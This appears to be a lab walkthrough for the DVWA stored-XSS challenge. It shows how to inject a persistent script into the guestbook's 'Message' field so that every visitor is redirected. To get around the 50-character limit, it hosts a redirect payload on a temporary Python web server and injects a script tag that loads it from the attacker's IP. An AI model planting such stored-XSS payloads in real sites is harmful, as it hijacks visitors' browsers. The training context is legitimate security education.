Challenge URL: /dvwa/vulnerabilities/xss_s/
Objective: Redirect everyone to a web page of your choosing.
Tools needed: A temporary web server

Did you remember to read this section's README?

The Guide

Exploring the Form

Okay, let's start in the normal place, the provided form:

This form has two input fields, "Name" and "Message". Upon clicking the "Sign Guestbook" button, the two fields get echoed below the form:

So let's do a proof-of-concept XSS test as such:

```
<script>alert("XSS Message Field")</script>
```

We could in theory test the "Name" field as well, but the code snippet above gets truncated. When we inspect the source code, we see why - the form restricts "Name" input to 10 characters and "Message" input to 50 characters.

This may present some hiccups going forward, but right now, it basically means we will only exploit the XSS vulnerability in the "Message" field.

Exploiting the Form

Let's do one more test - refresh the page. Click through the Firefox warning about resubmission of forms. You should get the same `alert` as before. This means that when we craft our exploit, the form will preserve the XSS, and everyone who then visits the page will get redirected. Let's clear the guestbook by clicking the "Clear Guestbook" button so we don't deal with more popups.

We know in order to beat the challenge, we must find some way in Javascript to redirect to a different web page. A quick Google search provides the following code snippet:

```
window.location.replace("http://www.google.com");
```

So logically speaking, our exploit becomes:

```
<script>window.location.replace("http://www.google.com");
```

But wait, that's 66 characters. We saw by reviewing the source that we have to keep whatever we put in the "Message" field under 50 characters. We thankfully do have a workaround, which we've kind of used in the

other XSS challenges. Essentially, we can stand up a temporary web server, hosting a Javascript file with our payload, and craft our exploit such that it calls the payload on our server. In practice:

- Set up your server with: `python -m SimpleHTTPServer 80`
  - We set the `port` argument to 80 so we don't need to specify a port in our exploit. That will save us 5 characters. Note that you may need to kill your running Apache instance with `service apache2 stop` for this to work.
- Payload: `window.location.replace("http://www.google.com");`
  - We'll save this as with a short name to save even more characters. I chose "r.js".
- Exploit: `<script src=http://[your_Kali_IP]/r.js></script>`

With this setup, your exploit should be around 48 characters in length, give or take a few depending on your IP address or file name. That's the perfect length, and we should be able to implement the attack.

Let's go back to the form and try it out! For "Name", put anything you want, like "test". For "Message", input our shortened exploit.

Inspecting the new guestbook entry (Right-click > "Inspect Element") and reviewing the source code shows us that we successfully inserted the malicious script into our web page:

Looking at the Python web server shows a successful attempt to retrieve our payload:

And if we refresh the page and click through the Firefox warning, we can confirm we get redirected to http://www.google.com/ as we wanted!

Challenge complete!